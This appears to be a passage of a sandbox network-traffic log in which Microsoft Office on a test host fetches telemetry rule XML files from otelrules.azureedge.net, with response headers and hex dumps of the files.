2024-10-30 06:28:30 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49971	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:30 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:30 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:30 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: de5eab8c-501e-0029-0b23-2ad0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062830Z-r197bdfb6b4mcssrk8cfa4gm1g00000001a0000000009tqm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:30 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49972	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:30 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:30 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:30 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: c9ef38c2-001e-002b-2fff-2599f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062830Z-16849878b78hh85qc40uyr8sc800000007v000000000h073 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:30 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49973	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:31 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:31 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:31 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: b4130024-d01e-0082-10a3-26e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062831Z-16849878b78tg5n42kspfr0x4800000007h000000000n3sp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:31 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49974	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:31 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:31 UTC	591	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:31 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 38943712-901e-002a-666e-2a7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062831Z-r197bdfb6b46kmj4701qkq602400000006tg000000006x3r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_REMOTE_HIT X-Cache-Info: L2_T1 Accept-Ranges: bytes
2024-10-30 06:28:31 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49975	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:31 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:31 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:31 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 8b6f07ae-001e-00ad-16fd-27554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062831Z-17c5cb586f65j4snvy39m6qus400000002v000000000fpqa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:31 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49976	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:31 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:31 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:31 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 440f6722-a01e-0084-3501-299ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062831Z-17c5cb586f6wmhkn5q6fu8c5ss00000006zg00000000bakc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:31 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49977	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:31 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:31 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:31 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 0be98d05-201e-0085-5325-2934e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062831Z-15b8d89586f6nn8zqg1h5suba800000002t000000000cgf2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:31 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49978	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:31 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:32 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:32 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: fff585e1-801e-0047-5a39-2a7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062832Z-r197bdfb6b4gx6v9pg74w9f47s00000009p000000000cppa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:32 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49979	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:32 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:32 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:32 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 8be2881b-101e-008d-3d2e-2792e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062832Z-15b8d89586flspj6y6m5fk442w0000000dg0000000009tus x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:32 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49980	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:32 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:32 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:32 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: e9bbe3b2-401e-005b-3496-259c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062832Z-16849878b786lft2mu9uftf3y400000008tg00000000khn6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:32 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49982	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:32 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:32 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:32 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: 8e66950d-f01e-0003-769c-274453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062832Z-16849878b78nx5sne3fztmu6xc00000008pg000000004hgw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
